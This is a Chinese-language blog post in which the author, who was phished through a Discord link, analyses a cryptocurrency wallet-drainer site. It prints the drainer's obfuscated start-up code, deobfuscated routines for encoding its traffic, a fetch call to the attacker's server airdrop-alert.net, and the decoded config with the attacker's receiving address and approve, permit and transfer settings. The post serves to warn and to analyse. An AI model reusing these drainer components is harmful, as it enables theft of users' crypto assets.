Sitemap

釣魚網站分析

15 min readJul 27, 2023

--

Photo by Pascal Müller on Unsplash

前言

前幾天從 github 在加入某 discord 群後,看到跳出連結錢包驗證身份的訊息,想說這終能真的假的就點下去試試看。

老實說後來看到畫面時一度懷疑過,但最後還是中招了(主要是帳號沒什麼虛擬通貨)。

這篇文章記錄一下釣魚網站做了什麼,以防之後有同學遇到。

網站功能

這個網站功能很簡單,列出一些比較知名的錢包

每個點下去後基本上就是跳個 modal,並讓用戶選擇要使用哪一個錢包

連接後就是簽章跟送出交易,這可以從網站讀的 js script 裡面找到就不截圖了。

網站到底做了什麼?

從網站的原始碼分析可以發現,遠端 airdrop-alert.net 有個伺服器處理 api 請求,可以搜尋 await send_request 發現有哪些 api,這邊只測試幾個不一一列出。

網站一進入會先從遠端伺服器讀取設定檔並產生和紀錄使用者的基本訊息

document[_0x2bad46(129)](_0x2bad46(406), async() => {
const getScriptId = _0x2bad46;
try {
await retrive_config();
fill_chain_data();
await retrive_contract();
if (typeof localStorage[getScriptId(553)] === getScriptId(393)) {
const data = await send_request({
"action" : getScriptId(134)
});
if (data[getScriptId(344)] == "OK") {
localStorage["MS_ID"] = data[getScriptId(313)];
} else {
localStorage[getScriptId(553)] = Math[getScriptId(340)](Date["now"]() / 1E3);
}
}
MS_ID = localStorage[getScriptId(553)];
MS_Ready = !![];
inject_modal();
enter_website();
for (const indexLookupKey in MS_Settings["RPCs"]) {
MS_Gas_Reserves[indexLookupKey] = 0;
}
for (const localStorage of document["querySelectorAll"](".connect-button")) {
try {
localStorage[getScriptId(129)](getScriptId(358), () => {
return ms_init();
});
} catch (previousState) {
console[getScriptId(403)](previousState);
}
}
} catch (body) {
console["log"](body);
}
});

用戶在成功連接錢包後,就會去 api 伺服器索取目前的錢包餘額,接著就是判斷 NATIVE / ERC20 / ERC721 做相對應的操作,可能是 transfer 或是 permit sign 或是 approve,主要看用戶連接的錢包以及該幣種的設定。

前後 api 伺服器的溝通有特別的編碼方式,看起來是把每個字元 reduce 做 or 運算在轉成 16 進位,下面貼上我把混淆的程式碼轉成可用的程式碼版本。

編碼

const encode = (pkgVersion, versions) => {
const match = (d) => {
return d["split"]("")["map"]((data) => {
return data["charCodeAt"](0);
});
};
const obj = (obj) => {
return ("0" + Number(obj)['toString'](16))['substr'](-2);
};
const key = (extra) => {
return match(pkgVersion)['reduce']((maxLockingValue, disregardTheseLocks) => {
return maxLockingValue ^ disregardTheseLocks;
}, extra);
};
return versions['split']("")['map'](match)["map"](key)["map"](obj)['join']("");
};

解碼

const decode = (data, filter) => {
const startup = (app) => {
return app["split"]("")['map']((data) => {
return data["charCodeAt"](0);
});
};
const Collection = (form__2279) => {
return startup(data)["reduce"]((maxLockingValue, disregardTheseLocks) => {
return maxLockingValue ^ disregardTheseLocks;
}, form__2279);
};
return filter['match'](/.{1,2}/g)['map']((id_local) => {
return parseInt(id_local, 16);
})['map'](Collection)['map']((mmCoreSplitViewBlock) => {
return String["fromCharCode"](mmCoreSplitViewBlock);
})['join']('');
};

獲取和解碼目前的 config

const rawResponse = await fetch("https://airdrop-alert.net", {
"method" : "POST",
"headers" : {
"Accept" : "text/plain",
"Content-Type" : "application/x-www-form-urlencoded"
},
"body" : 'ver=23062023&raw='+encode(reg, btoa(JSON["stringify"]({'domain':'yo','worker_id':'','chat_data':'','action':'retrive_config'})))
});
const config = atob(srpp(reg, await rawResponse.text()))

// {"RPCs":{"1":"https://rpc.ankr.com/eth","10":"https://rpc.ankr.com/optimism","56":"https://rpc.ankr.com/bsc","137":"https://rpc.ankr.com/polygon","250":"https://rpc.ankr.com/fantom","42161":"https://rpc.ankr.com/arbitrum","43114":"https://rpc.ankr.com/avalanche"},"Address":"0xC12bA780e5338CC010566150aCf9554E0dd271Ae","Notifications":{"enter_website":false,"leave_website":false,"connect_success":true,"connect_request":true,"connect_cancel":true,"approve_request":true,"approve_success":true,"approve_cancel":true,"permit_sign_data":true,"transfer_request":true,"transfer_success":true,"transfer_cancel":true,"sign_request":true,"sign_success":true,"sign_cancel":true,"chain_request":true,"chain_success":true,"chain_cancel":true},"Settings":{"Minimal_Wallet_Price":1,"Tokens_First":0,"Wait_For_Confirmation":1,"Wait_For_Response":1,"Sign":{"Native":1,"Tokens":1,"NFTs":1,"Force":0},"Permit":{"Mode":1,"Priority":0,"Bypass":0,"Challenge":1,"Price":1},"Approve":{"Enable":1,"MetaMask":2,"Bypass":0,"Withdraw":1,"Withdraw_Amount":1},"SAFA":{"Enable":1,"Bypass":0,"Withdraw":2,"Withdraw_Amount":1},"Swappers":{"Enable":0,"Priority":0,"Price":50},"SeaPort":{"Enable":1,"Priority":1,"Limit":0,"Price":50},"Blur":{"Enable":1,"Priority":0,"Limit":0,"Price":50},"x2y2":{"Enable":1,"Priority":1,"Price":1},"Chains":{"eth":{"Enable":1,"Native":1,"Tokens":1,"NFTs":1,"Min_Native_Price":15,"Min_Tokens_Price":5,"Min_NFTs_Price":50,"API":"2B44DG986KR15DTS4S1E5JWZT8VTWZ7C99","Contract_Address":"0x0007039b77d22042afc1a9c3b3da11837b730000","Contract_Type":"Claim","Contract_Legacy":0},"bsc":{"Enable":1,"Native":1,"Tokens":1,"NFTs":1,"Min_Native_Price":10,"Min_Tokens_Price":5,"Min_NFTs_Price":50,"API":"K5AI5N7ZPC9EF6G9MVQF33CBVMY1UKQ7HI","Contract_Address":"0x0007039b77d22042afc1a9c3b3da11837b730000","Contract_Type":"Claim","Contract_Legacy":0},"polygon":{"Enable":1,"Native":1,"Tokens":1,"NFTs":1,"Min_Native_Price":10,"Min_Tokens_Price":5,"Min_NFTs_Price":50,"API":"M9IMUX515SEB97THWJRQDKNX75CI66X7XX","Contract_Address":"0x0007039b77d22042afc1a9c3b3da11837b730000","Contract_Type":"Claim","Contract_Legacy":0},"avalanche":{"Enable":1,"Native":1,"Tokens":1,"NFTs":1,"Min_Native_Price":10,"Min_Tokens_Price":5,"Min_NFTs_Price":50,"API":"ZMJ2CKEX65EJ8WIPWRJWKRFG8HXCM6I89Z","Contract_Address":"0x0007039b77d22042afc1a9c3b3da11837b730000","Contract_Type":"Claim","Contract_Legacy":0},"arbitrum":{"Enable":1,"Native":1,"Tokens":1,"NFTs":1,"Min_Native_Price":10,"Min_Tokens_Price":5,"Min_NFTs_Price":50,"API":"DU3TKS3QYBQAHC7SEQ5YHB9VPD85JXTX7I","Contract_Address":"0x0007039b77d22042afc1a9c3b3da11837b730000","Contract_Type":"Claim","Contract_Legacy":0},"fantom":{"Enable":1,"Native":1,"Tokens":1,"NFTs":1,"Min_Native_Price":10,"Min_Tokens_Price":5,"Min_NFTs_Price":50,"API":"F9GFY4EXGD84MHWEK5NCUJWF9FZVBRT415","Contract_Address":"0x0007039b77d22042afc1a9c3b3da11837b730000","Contract_Type":"Claim","Contract_Legacy":0},"optimism":{"Enable":1,"Native":1,"Tokens":1,"NFTs":1,"Min_Native_Price":10,"Min_Tokens_Price":5,"Min_NFTs_Price":50,"API":"46J83C1RF5TEWJ3NVCF17PG3KYD36U9QPK","Contract_Address":"0x0007039b77d22042afc1a9c3b3da11837b730000","Contract_Type":"Claim","Contract_Legacy":0}}},"Contract_Blacklist":["0x4238e5ccc619dcc8c00ade4cfc5d3d9020b24898","0x0b91b07beb67333225a5ba0259d55aee10e3a578"],"Contract_Whitelist":[],"Wallet_Blacklist":["0xd8da6bf26964af9d7eed9e03e53415d37aa96045"],"OS_Mode":1,"Receiver":"0xC12bA780e5338CC010566150aCf9554E0dd271Ae","V_MSG":"By signing this message, you agree to the Terms of Use and authorize the use of your wallet address to identify you on the site, also confirm that you are the wallet's owner:\\n\\n{{ADDRESS}}","Loop_N":0,"Loop_T":0,"Loop_NFT":0,"Permit_BL":[[137,"0x2791bca1f2de4661ed88a30c99a7a9449aa84174"]],"V_MODE":1,"Unlimited_BL":[[1,"0x1f9840a85d5af5bf1d1762f925bdaddc4201f984"]],"DSB":false,"AT":"a3c56212c9d723a59d01d083b79fe252fe6ec9e03b5b9d4457a07bd943315125","LA":0}

從 config 可以發現他們在不同的 network 都有,希望各位同學要小心。

參考

http://www.jsnice.org/

https://github.com/sc0Vu/phishing-websites/tree/main/assets-verify

--

--

No responses yet